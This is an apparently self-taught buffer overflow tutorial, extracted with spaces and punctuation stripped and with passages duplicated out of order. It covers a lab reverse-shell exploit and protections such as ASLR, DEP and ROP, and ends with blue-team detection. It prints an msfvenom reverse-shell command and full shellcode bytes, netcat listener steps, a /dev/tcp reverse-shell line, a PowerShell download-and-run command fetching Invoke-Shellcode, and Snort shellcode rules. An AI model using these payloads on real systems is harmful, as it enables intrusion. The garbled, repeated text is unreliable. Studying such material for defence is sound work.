collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
